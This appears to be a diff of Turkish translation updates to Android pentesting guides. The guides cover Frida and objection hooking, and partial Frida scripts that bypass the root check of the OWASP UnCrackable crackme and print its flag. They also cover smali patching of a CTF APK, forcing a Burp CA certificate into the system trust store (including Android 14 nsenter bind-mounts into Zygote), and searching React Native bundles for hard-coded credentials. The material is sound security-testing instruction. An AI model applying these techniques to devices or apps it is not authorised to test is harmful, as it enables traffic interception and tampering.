Burada **Python ve JS'nin etkileşimde bulunmasını** JSON nesneleri kullanarak nasıl yapacağınızı göreceksiniz. JS, verileri python istemcisine göndermek için `send()` fonksiyonunu kullanır ve Python, verileri JS betiğine göndermek için `post()` fonksiyonunu kullanır. **JS, Python'dan bir yanıt alana kadar** yürütmeyi engelleyecektir. Burada **Python ve JS'nin** JSON nesneleri kullanarak nasıl etkileşimde bulunduğunu göreceksiniz. JS, verileri Python istemcisine göndermek için `send()` fonksiyonunu kullanır ve Python, verileri JS betiğine göndermek için `post()` fonksiyonunu kullanır. **JS, Python'dan bir yanıt alana kadar** yürütmeyi engelleyecektir.
### Python ### Python
```python ```python

View File

@ -30,7 +30,7 @@ pip3 install objection
**Normal bir ADB bağlantısı** kurun ve cihazda **frida** sunucusunu **başlatın** (ve frida'nın hem istemci hem de sunucuda çalıştığını kontrol edin). **Normal bir ADB bağlantısı** kurun ve cihazda **frida** sunucusunu **başlatın** (ve frida'nın hem istemci hem de sunucuda çalıştığını kontrol edin).
Eğer **rootlu bir cihaz** kullanıyorsanız, test etmek istediğiniz uygulamayı _**--gadget**_ seçeneği içinde seçmeniz gerekmektedir. bu durumda: Eğer **root'lu bir cihaz** kullanıyorsanız, test etmek istediğiniz uygulamayı _**--gadget**_ seçeneği içinde seçmeniz gerekmektedir. bu durumda:
```bash ```bash
frida-ps -Uai frida-ps -Uai
objection --gadget asvid.github.io.fridaapp explore objection --gadget asvid.github.io.fridaapp explore
@ -58,7 +58,7 @@ frida
file download <remote path> [<local path>] file download <remote path> [<local path>]
file upload <local path> [<remote path>] file upload <local path> [<remote path>]
``` ```
#### frida script'i içe aktarın #### frida script'i içe aktar
```bash ```bash
import <local path frida-script> import <local path frida-script>
``` ```
@ -133,13 +133,13 @@ Ayrıca, mevcut uygulama içinde yüklenen tüm sınıfları da listeleyebilirsi
```bash ```bash
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes. android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
``` ```
Bu, **bir sınıfın yöntemini yakalamak istiyorsanız ve yalnızca sınıfın adını biliyorsanız** çok faydalıdır. Bu işlevi, **sınıfın hangi modüle ait olduğunu aramak için** kullanabilirsiniz ve ardından yöntemini yakalayabilirsiniz. Bu, **bir sınıfın yöntemini yakalamak istiyorsanız ve sadece sınıfın adını biliyorsanız** çok faydalıdır. Bu işlevi, **sınıfın hangi modüle ait olduğunu aramak için** kullanabilirsiniz ve ardından yöntemini yakalayabilirsiniz.
### Yakalamanın Kolay Olması ### Yakalamanın Kolay Olması
#### Bir Yöntemi Yakalamak (izlemek) #### Bir Yöntemi Yakalamak (izlemek)
Uygulamanın [kaynak kodundan](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) bildiğimiz kadarıyla, **MainActivity**'den **sum()** **fonksiyonu** **her saniye** çalıştırılmaktadır. Fonksiyon her çağrıldığında **tüm olası bilgileri** (argümanlar, dönüş değeri ve geri izleme) **dökme** yapmayı deneyelim: Uygulamanın [kaynak kodundan](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) bildiğimiz kadarıyla, **MainActivity**'den **sum()** **fonksiyonu** **her saniye** çalıştırılmaktadır. Fonksiyon her çağrıldığında **tüm olası bilgileri** (argümanlar, dönüş değeri ve geri izleme) **dökmeye** çalışalım:
```bash ```bash
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
``` ```

View File

@ -12,7 +12,7 @@
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) temel alınarak [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) temel alınarak
**\_exit()**_ fonksiyonunu ve **şifre çözme fonksiyonunu** yakalayın, böylece doğrula butonuna bastığınızda frida konsolunda bayrağı yazdırır: **\_exit()**_ fonksiyonunu **hook'layın** ve **şifre çözme fonksiyonu** böylece frida konsolunda flag'i yazdıracak şekilde ayarlayın, doğrula butonuna bastığınızda:
```javascript ```javascript
Java.perform(function () { Java.perform(function () {
send("Starting hooks OWASP uncrackable1...") send("Starting hooks OWASP uncrackable1...")
@ -55,7 +55,7 @@ send("Hooks installed.")
Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
**Root kontrolünü takla** ve işlevi şifre çözerek, doğrula butonuna bastığınızda frida konsolunda bayrağı yazdırın: **Root kontrolünü takla** ve şifre çözme fonksiyonunu, doğrula butonuna bastığınızda frida konsolunda bayrağı yazdıracak şekilde ayarlayın:
```javascript ```javascript
Java.perform(function () { Java.perform(function () {
send("Starting hooks OWASP uncrackable1...") send("Starting hooks OWASP uncrackable1...")

View File

@ -4,13 +4,13 @@
APK'yı buradan indirin: APK'yı buradan indirin:
APK'nın nasıl davrandığını görmek için [https://appetize.io/](https://appetize.io) (ücretsiz hesap) yükleyeceğim: APK'yı [https://appetize.io/](https://appetize.io) (ücretsiz hesap) yükleyeceğim, böylece apk'nın nasıl davrandığını görebilirim:
![](<../../images/image (421).png>) ![](<../../images/image (421).png>)
Görünüşe göre bayrağı almak için 1000000 kez kazanmanız gerekiyor. Görünüşe göre bayrağı almak için 1000000 kez kazanmanız gerekiyor.
[Android pentesting](./) adımlarını takip ederek uygulamayı decompile edebilir, smali kodunu alabilir ve Java kodunu jadx kullanarak okuyabilirsiniz. [pentesting Android](./) adımlarını takip ederek uygulamayı decompile edebilir, smali kodunu alabilir ve Java kodunu jadx kullanarak okuyabilirsiniz.
Java kodunu okuma: Java kodunu okuma:
@ -20,9 +20,9 @@ Bayrağı yazdıracak olan fonksiyonun **m()** olduğu görünüyor.
## **Smali değişiklikleri** ## **Smali değişiklikleri**
### **m()'yi ilk kez çağır** ### **İlk seferde m() çağrısı yapma**
Uygulamanın _this.o != 1000000_ değişkeni varsa m()'yi çağırmasını sağlayalım, bunu yapmak için sadece koşulu değiştirin: Uygulamanın _this.o != 1000000_ değişkeni varsa m() çağırmasını sağlayalım, bunu yapmak için sadece koşulu değiştirin:
``` ```
if-ne v0, v9, :cond_2 if-ne v0, v9, :cond_2
``` ```
@ -34,17 +34,17 @@ if-eq v0, v9, :cond_2
![After](<../../images/image (838).png>) ![After](<../../images/image (838).png>)
[Android pentest](./) adımlarını takip ederek APK'yı yeniden derleyin ve imzalayın. Ardından, [https://appetize.io/](https://appetize.io) adresine yükleyin ve neler olacağını görelim: [Pentest Android](./) adımlarını takip ederek APK'yı yeniden derleyin ve imzalayın. Ardından, [https://appetize.io/](https://appetize.io) adresine yükleyin ve neler olacağını görelim:
![](<../../images/image (128).png>) ![](<../../images/image (128).png>)
Görünüşe göre bayrak tamamen şifrelenmeden yazılmış. Muhtemelen m() fonksiyonu 1000000 kez çağrılmalı. Görünüşe göre bayrak tamamen şifrelenmeden yazılmış. Muhtemelen m() fonksiyonu 1000000 kez çağrılmalı.
**Başka bir yol** bunu yapmak için talimatı değiştirmeden karşılaştırılan talimatları değiştirmektir: **Bunu yapmanın diğer bir yolu**, talimatları değiştirmeden karşılaştırılan talimatları değiştirmektir:
![](<../../images/image (840).png>) ![](<../../images/image (840).png>)
**Başka bir yol** ise 1000000 ile karşılaştırmak yerine değeri 1 olarak ayarlamak, böylece this.o 1 ile karşılaştırılır: **Başka bir yol**, 1000000 ile karşılaştırmak yerine değeri 1 olarak ayarlamak, böylece this.o 1 ile karşılaştırılır:
![](<../../images/image (629).png>) ![](<../../images/image (629).png>)

View File

@ -5,11 +5,11 @@
## Sanal Makinede ## Sanal Makinede
Öncelikle Burp'tan Der sertifikasını indirmeniz gerekiyor. Bunu _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ kısmından yapabilirsiniz. Öncelikle Burp'tan Der sertifikasını indirmeniz gerekiyor. Bunu _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ kısmında yapabilirsiniz.
![](<../../images/image (367).png>) ![](<../../images/image (367).png>)
**Sertifikayı Der formatında dışa aktarın** ve **Android**'in **anlayabileceği** bir forma **dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneği ile **çalıştırmanız** gerektiğini unutmayın.\ **Sertifikayı Der formatında dışa aktarın** ve **Android'in anlayabileceği** bir forma **dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneği ile **çalıştırmanız** gerektiğini unutmayın.\
Örneğin, şu şekilde çalıştırabilirsiniz: Örneğin, şu şekilde çalıştırabilirsiniz:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
@ -25,23 +25,23 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine adb reboot #Now, reboot the machine
``` ```
Bir kez **makine yeniden başlatıldığında** burp sertifikası kullanılmaya başlanacaktır! Bir kez **makine yeniden başlatıldığında**, burp sertifikası kullanılmaya başlanacaktır!
## Magisc Kullanımı ## Magisc Kullanımı
Eğer **cihazınızı Magisc ile rootladıysanız** (belki bir emülatör), ve **önceki adımları** Burp sertifikasını yüklemek için **izleyemiyorsanız** çünkü **dosya sistemi salt okunur** ve yazılabilir olarak yeniden bağlayamıyorsanız, başka bir yol vardır. Eğer **cihazınızı Magisc ile rootladıysanız** (belki bir emülatör), ve **önceki adımları** Burp sertifikasını yüklemek için **takip edemiyorsanız** çünkü **dosya sistemi salt okunur** ve yazılabilir olarak yeniden bağlayamıyorsanız, başka bir yol vardır.
[**bu videoda**](https://www.youtube.com/watch?v=qQicUW0svB8) açıklandığı gibi, şunları yapmalısınız: [**bu videoda**](https://www.youtube.com/watch?v=qQicUW0svB8) açıklandığı gibi, şunları yapmalısınız:
1. **Bir CA sertifikası yükleyin**: Sadece **sürükleyip bırakın** DER Burp sertifikasını **uzantısını** `.crt` olarak değiştirerek mobil cihazda İndirilenler klasörüne kaydedin ve `Sertifika yükle` -> `CA sertifikası` kısmına gidin. 1. **Bir CA sertifikası yükleyin**: Sadece **sürükleyip bırakın** DER Burp sertifikasını **uzantısını** `.crt` olarak değiştirerek mobil cihazda, böylece İndirilenler klasöründe saklanır ve `Bir sertifika yükle` -> `CA sertifikası` kısmına gidin.
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure> <figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
- Sertifikanın doğru bir şekilde kaydedildiğini kontrol etmek için `Güvenilir kimlik bilgileri` -> `KULLANICI` kısmına gidin. - Sertifikanın doğru bir şekilde saklandığını kontrol edin, `Güvenilir kimlik bilgileri` -> `KULLANICI` kısmına gidin.
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure> <figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Sistem güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, **sürükleyip bırakın** telefonunuza, telefonunuzdaki **Magics uygulamasına** gidin ve **`Modüller`** bölümüne geçin, **`Depodan yükle`** seçeneğine tıklayın, `.zip` modülünü seçin ve yüklendikten sonra **telefonu yeniden başlatın**: 2. **Sistem güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, **sürükleyip bırakın** telefonunuza, telefonunuzdaki **Magics uygulamasına** gidin ve **`Modüller`** bölümüne geçin, **`Depolamadan yükle`** seçeneğine tıklayın, `.zip` modülünü seçin ve yüklendikten sonra **telefonu yeniden başlatın**:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure> <figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
@ -51,13 +51,13 @@ Eğer **cihazınızı Magisc ile rootladıysanız** (belki bir emülatör), ve *
## Android 14 Sonrası ## Android 14 Sonrası
Son Android 14 sürümünde, sistem güvenilir Sertifika Otoritesi (CA) sertifikalarının yönetiminde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunuyordu ve root ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilir durumdaydı, bu da sistem genelinde anında uygulanmasını sağlıyordu. Ancak, Android 14 ile birlikte, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşınmış olup, bu dizin **`/apex`** yolunun içinde yer almakta ve doğası gereği değiştirilemez durumdadır. Son Android 14 sürümünde, sistem güvenilir Sertifika Otoritesi (CA) sertifikalarının yönetiminde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunuyordu ve root ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilir durumdaydı, bu da sistem genelinde anında uygulanmasını sağlıyordu. Ancak, Android 14 ile birlikte, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşınmıştır; bu dizin **`/apex`** yolunun içinde yer almakta olup, doğası gereği değiştirilemezdir.
**APEX cacerts yolu**'nu yazılabilir olarak yeniden bağlama girişimleri başarısızlıkla sonuçlanmaktadır, çünkü sistem böyle işlemlere izin vermemektedir. Geçici bir dosya sistemi (tmpfs) ile dizini çıkarmaya veya üstüne yazmaya yönelik girişimler bile değiştirilemezliği aşmamaktadır; uygulamalar dosya sistemi düzeyindeki değişikliklere bakılmaksızın orijinal sertifika verilerine erişmeye devam etmektedir. Bu dayanıklılık, **`/apex`** montajının ÖZEL yayılma ile yapılandırılmasından kaynaklanmakta, böylece **`/apex`** dizinindeki herhangi bir değişiklik diğer süreçleri etkilememektedir. **APEX cacerts yolu**'nu yazılabilir olarak yeniden bağlama girişimleri başarısızlıkla sonuçlanmaktadır, çünkü sistem böyle işlemlere izin vermemektedir. Geçici bir dosya sistemi (tmpfs) ile dizini çıkarmaya veya üst üste bindirmeye yönelik girişimler bile değiştirilemezliği aşmamaktadır; uygulamalar, dosya sistemi düzeyindeki değişikliklere bakılmaksızın orijinal sertifika verilerine erişmeye devam etmektedir. Bu dayanıklılık, **`/apex`** montajının ÖZEL yayılma ile yapılandırılmasından kaynaklanmaktadır; bu, **`/apex`** dizinindeki herhangi bir değişikliğin diğer süreçleri etkilemediğini garanti eder.
Android'in başlatılması, işletim sistemini başlatırken `init` sürecini de başlatan Zygote süreci ile gerçekleşir. Bu süreç, yeni bir montaj ad alanı ile uygulama süreçlerini başlatmaktan sorumludur ve bu ad alanı özel bir **`/apex`** montajını içerir, böylece bu dizindeki değişikliklerin diğer süreçlerden izole edilmesini sağlar. Android'in başlatılması, işletim sistemini başlatırken `init` sürecini içerir ve bu süreç, Zygote sürecini de başlatır. Bu süreç, uygulama süreçlerini yeni bir montaj ad alanı ile başlatmaktan sorumludur; bu ad alanı, özel bir **`/apex`** montajını içerir ve böylece bu dizindeki değişiklikleri diğer süreçlerden izole eder.
Yine de, **`/apex`** dizinindeki sistem güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i ÖZEL yayılmayı kaldıracak şekilde manuel olarak yeniden bağlamayı içerir, böylece yazılabilir hale gelir. Süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir yere kopyalamayı, **`/apex/com.android.conscrypt`** dizinini çıkarmayı ve salt okunur kısıtlamayı ortadan kaldırmayı, ardından içeriği **`/apex`** içindeki orijinal konumuna geri yüklemeyi içerir. Bu yaklaşım, sistem çöküşlerini önlemek için hızlı hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için, `system_server`'ı yeniden başlatmak önerilir; bu, tüm uygulamaları etkili bir şekilde yeniden başlatır ve sistemi tutarlı bir duruma getirir. Yine de, **`/apex`** dizinindeki sistem güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i yeniden bağlayarak ÖZEL yayılmayı kaldırmayı ve böylece yazılabilir hale getirmeyi içerir. Süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir yere kopyalamayı, **`/apex/com.android.conscrypt`** dizinini çıkarmayı ve salt okunur kısıtlamayı ortadan kaldırmayı, ardından içeriği **`/apex`** içindeki orijinal konumuna geri yüklemeyi içerir. Bu yaklaşım, sistem çöküşlerini önlemek için hızlı hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için, `system_server`'ı yeniden başlatmak önerilir; bu, tüm uygulamaları etkili bir şekilde yeniden başlatır ve sistemi tutarlı bir duruma getirir.
```bash ```bash
# Create a separate temp directory, to hold the current certificates # Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore. # Otherwise, when we add the mount we can't read the current certs anymore.
@ -117,12 +117,12 @@ echo "System certificate injected"
``` ```
### Bind-mounting through NSEnter ### Bind-mounting through NSEnter
1. **Yazılabilir Bir Dizin Kurma**: İlk olarak, mevcut olmayan APEX sistem sertifika dizininin üzerine bir `tmpfs` monte edilerek yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komut ile gerçekleştirilir: 1. **Yazılabilir Bir Dizin Kurma**: İlk olarak, mevcut APEX olmayan sistem sertifika dizininin üzerine bir `tmpfs` monte edilerek yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komut ile gerçekleştirilir:
```bash ```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts mount -t tmpfs tmpfs /system/etc/security/cacerts
``` ```
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumu sonrasında, kullanılmak istenen CA sertifikaları bu dizine kopyalanmalıdır. Bu, `/apex/com.android.conscrypt/cacerts/` dizinindeki varsayılan sertifikaların kopyalanmasını içerebilir. Bu sertifikaların izinlerinin ve SELinux etiketlerinin uygun şekilde ayarlanması önemlidir. 2. **CA Sertifikalarının Hazırlanması**: Yazılabilir dizinin kurulumu sonrasında, kullanılmak istenen CA sertifikaları bu dizine kopyalanmalıdır. Bu, `/apex/com.android.conscrypt/cacerts/` dizinindeki varsayılan sertifikaların kopyalanmasını içerebilir. Bu sertifikaların izinlerinin ve SELinux etiketlerinin uygun şekilde ayarlanması önemlidir.
3. **Zygote için Bağlama**: `nsenter` kullanarak, Zygote'un montaj ad alanına girilir. Zygote, Android uygulamalarını başlatmaktan sorumlu olan süreç olduğundan, bundan sonraki tüm başlatılan uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adım gereklidir. Kullanılan komut: 3. **Zygote için Bağlama Montajı**: `nsenter` kullanarak, Zygote'un montaj ad alanına girilir. Zygote, Android uygulamalarını başlatmaktan sorumlu olan süreç olduğundan, bundan sonraki tüm başlatılan uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adım gereklidir. Kullanılan komut:
```bash ```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
``` ```
@ -132,7 +132,7 @@ Bu, başlatılan her yeni uygulamanın güncellenmiş CA sertifikaları ayarlar
```bash ```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
``` ```
5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` sürecinde (PID 1) bind mount işlemi gerçekleştirmek ve ardından işletim sistemini `stop && start` komutlarıyla yumuşak bir şekilde yeniden başlatmaktır. Bu yaklaşım, değişikliklerin tüm ad alanlarına yayılmasını sağlayarak her bir çalışan uygulamayı ayrı ayrı ele alma ihtiyacını ortadan kaldırır. Ancak, bu yöntem genellikle yeniden başlatmanın getirdiği rahatsızlık nedeniyle daha az tercih edilmektedir. 5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` sürecinde (PID 1) bind mount işlemi gerçekleştirmek ve ardından işletim sistemini `stop && start` komutlarıyla yumuşak bir şekilde yeniden başlatmaktır. Bu yaklaşım, değişikliklerin tüm ad alanlarına yayılmasını sağlayarak her bir çalışan uygulamayı ayrı ayrı ele alma ihtiyacını ortadan kaldırır. Ancak, bu yöntem genellikle yeniden başlatmanın rahatsızlığı nedeniyle daha az tercih edilmektedir.
## Referanslar ## Referanslar

View File

@ -24,7 +24,7 @@ Eklendikten sonra:
![](../../images/img11.png) ![](../../images/img11.png)
Şimdi **res/xml** klasörüne gidin ve aşağıdaki içerik ile network_security_config.xml adında bir dosya oluşturun/değiştirin: Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriklerle network_security_config.xml adında bir dosya oluşturun/değiştirin:
```markup ```markup
<network-security-config> <network-security-config>
<base-config> <base-config>

View File

@ -16,18 +16,18 @@
Obfuscated code'u tanımak, de-obfuscation sürecindeki ilk adımdır. Anahtar göstergeler şunlardır: Obfuscated code'u tanımak, de-obfuscation sürecindeki ilk adımdır. Anahtar göstergeler şunlardır:
- Java ve Android'deki **string'lerin yokluğu veya karıştırılması**, string obfuscation'ı önerebilir. - Java ve Android'deki **string'lerin yokluğu veya karıştırılması**, string obfuscation'ı önerebilir.
- **Binary dosyaların** varlığı, varlıklar dizininde veya `DexClassLoader` çağrıları, kodun açılması ve dinamik yüklenmesi hakkında ipuçları verebilir. - **Assets dizininde ikili dosyaların varlığı** veya `DexClassLoader` çağrıları, kodun açılması ve dinamik yüklenmesi hakkında ipuçları verebilir.
- **Tanımlanamayan JNI fonksiyonlarıyla birlikte native kütüphanelerin** kullanımı, native yöntemlerin potansiyel obfuscation'ını gösterebilir. - **Tanımlanamayan JNI fonksiyonlarıyla birlikte native kütüphanelerin kullanımı**, native yöntemlerin potansiyel obfuscation'ını gösterir.
## **De-obfuscation'da Dinamik Analiz** ## **De-obfuscation'da Dinamik Analiz**
Kodun kontrol edilen bir ortamda çalıştırılması, dinamik analiz **obfuscated code'un gerçek zamanlı olarak nasıl davrandığını gözlemlemeyi sağlar**. Bu yöntem, kodun gerçek amacını gizlemek için tasarlanmış karmaşık obfuscation desenlerinin iç işleyişini ortaya çıkarmada özellikle etkilidir. Kodun kontrol bir ortamda çalıştırılması, dinamik analiz **obfuscated code'un gerçek zamanlı olarak nasıl davrandığını gözlemlemeyi sağlar**. Bu yöntem, kodun gerçek amacını gizlemek için tasarlanmış karmaşık obfuscation desenlerinin iç işleyişini ortaya çıkarmada özellikle etkilidir.
### **Dinamik Analizin Uygulamaları** ### **Dinamik Analizin Uygulamaları**
- **Runtime Decryption**: Birçok obfuscation tekniği, yalnızca çalışma zamanında çözülen string'leri veya kod segmentlerini şifrelemeyi içerir. Dinamik analiz sayesinde, bu şifreli unsurlar şifre çözme anında yakalanarak gerçek halleri ortaya çıkarılabilir. - **Çalışma Zamanı Şifre Çözme**: Birçok obfuscation tekniği, yalnızca çalışma zamanında şifresi çözülen string'ler veya kod segmentleri içerir. Dinamik analiz sayesinde, bu şifreli unsurlar şifre çözme anında yakalanarak gerçek halleri ortaya çıkarılabilir.
- **Obfuscation Tekniklerini Tanımlama**: Uygulamanın davranışını izleyerek, dinamik analiz belirli obfuscation tekniklerini tanımlamaya yardımcı olabilir; örneğin, kod sanallaştırma, packer'lar veya dinamik kod üretimi. - **Obfuscation Tekniklerini Tanımlama**: Uygulamanın davranışını izleyerek, dinamik analiz belirli obfuscation tekniklerini tanımlamaya yardımcı olabilir; örneğin, kod sanallaştırma, packer'lar veya dinamik kod üretimi.
- **Gizli Fonksiyonelliği Ortaya Çıkarma**: Obfuscated code, yalnızca statik analizle belirgin olmayan gizli işlevsellikler içerebilir. Dinamik analiz, koşullu olarak yürütülenler de dahil olmak üzere tüm kod yollarını gözlemleyerek bu tür gizli işlevsellikleri ortaya çıkarmayı sağlar. - **Gizli Fonksiyonelliği Ortaya Çıkarma**: Obfuscated code, yalnızca statik analizle belirgin olmayan gizli işlevsellikler içerebilir. Dinamik analiz, koşullu olarak çalıştırılanlar da dahil olmak üzere tüm kod yollarını gözlemleyerek bu tür gizli işlevsellikleri ortaya çıkarmayı sağlar.
## Referanslar ve Daha Fazla Okuma ## Referanslar ve Daha Fazla Okuma

View File

@ -2,9 +2,9 @@
# React Native Uygulama Analizi # React Native Uygulama Analizi
Uygulamanın React Native çerçevesinde mi oluşturulduğunu doğrulamak için şu adımları izleyin: Uygulamanın React Native framework'ü üzerinde inşa edilip edilmediğini doğrulamak için şu adımları izleyin:
1. APK dosyasını zip uzantısıyla yeniden adlandırın ve `cp com.example.apk example-apk.zip` ve `unzip -qq example-apk.zip -d ReactNative` komutunu kullanarak yeni bir klasöre çıkarın. 1. APK dosyasının adını zip uzantısıyla değiştirin ve `cp com.example.apk example-apk.zip` ve `unzip -qq example-apk.zip -d ReactNative` komutunu kullanarak yeni bir klasöre çıkarın.
2. Yeni oluşturulan ReactNative klasörüne gidin ve assets klasörünü bulun. Bu klasörün içinde, minify edilmiş formatta React JavaScript içeren `index.android.bundle` dosyasını bulmalısınız. 2. Yeni oluşturulan ReactNative klasörüne gidin ve assets klasörünü bulun. Bu klasörün içinde, minify edilmiş formatta React JavaScript içeren `index.android.bundle` dosyasını bulmalısınız.
@ -22,7 +22,7 @@ Dosyayı [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon
3. Geliştirici Araçları'nda "Sources" sekmesine tıklayın. Ana paketi oluşturan klasörler ve dosyalar halinde bölünmüş bir JavaScript dosyası görmelisiniz. 3. Geliştirici Araçları'nda "Sources" sekmesine tıklayın. Ana paketi oluşturan klasörler ve dosyalar halinde bölünmüş bir JavaScript dosyası görmelisiniz.
Eğer `index.android.bundle.map` adında bir dosya bulursanız, kaynak kodunu unminified formatında analiz edebilirsiniz. Harita dosyaları, minified tanımlayıcıları eşleştirmenizi sağlayan kaynak eşleştirmesi içerir. Eğer `index.android.bundle.map` adında bir dosya bulursanız, kaynak kodunu minify edilmemiş formatta analiz edebilirsiniz. Harita dosyaları, minify edilmiş tanımlayıcıları eşleştirmenizi sağlayan kaynak eşleştirmesi içerir.
Hassas kimlik bilgileri ve uç noktaları aramak için şu adımları izleyin: Hassas kimlik bilgileri ve uç noktaları aramak için şu adımları izleyin:
@ -30,7 +30,7 @@ Hassas kimlik bilgileri ve uç noktaları aramak için şu adımları izleyin:
2. Bu özel durumda, uygulamanın Dialogflow hizmetini kullandığı gözlemlendi. Yapılandırmasıyla ilgili bir desen arayın. 2. Bu özel durumda, uygulamanın Dialogflow hizmetini kullandığı gözlemlendi. Yapılandırmasıyla ilgili bir desen arayın.
3. Recon süreci sırasında JavaScript kodunda hassas hard-coded kimlik bilgileri bulunduğu için şanslıydık. 3. Recon süreci sırasında JavaScript kodunda hassas sabit kodlanmış kimlik bilgileri bulunduğu için şanslıydık.
## References ## References

View File

@ -18,25 +18,25 @@ APKTool kullanarak **smali koduna ve kaynaklarına** erişebilirsiniz:
```bash ```bash
apktool d APP.apk apktool d APP.apk
``` ```
Eğer **apktool** herhangi bir hata veriyorsa, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) yüklemeyi deneyin. Eğer **apktool** herhangi bir hata verirse, [**en son sürümü**](https://ibotpeaches.github.io/Apktool/install/) yüklemeyi deneyin.
Göz atmanız gereken bazı **ilginç dosyalar** şunlardır: **Bakmanız gereken bazı ilginç dosyalar**:
- _res/values/strings.xml_ (ve res/values/* içindeki tüm xml'ler) - _res/values/strings.xml_ (ve res/values/* içindeki tüm xml'ler)
- _AndroidManifest.xml_ - _AndroidManifest.xml_
- _.sqlite_ veya _.db_ uzantısına sahip herhangi bir dosya - _.sqlite_ veya _.db_ uzantısına sahip herhangi bir dosya
Eğer `apktool` uygulamayı **çözümlerken sorun yaşıyorsa**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) adresine bakın veya **`-r`** (Kaynakları çözümleme) argümanını kullanmayı deneyin. O zaman, sorun bir kaynakta değil de bir kaynak kodunda ise, bu sorunla karşılaşmayacaksınız (kaynakları da decompile etmeyeceksiniz). Eğer `apktool` uygulamayı **çözümlerken sorun yaşıyorsa**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) adresine bakın veya **`-r`** (Kaynakları çözümleme) argümanını kullanmayı deneyin. O zaman, sorun bir kaynakta değil de kaynak kodunda ise, bu sorunu yaşamayacaksınız (kaynakları da decompile etmeyeceksiniz).
## Smali kodunu değiştir ## Smali kodunu değiştir
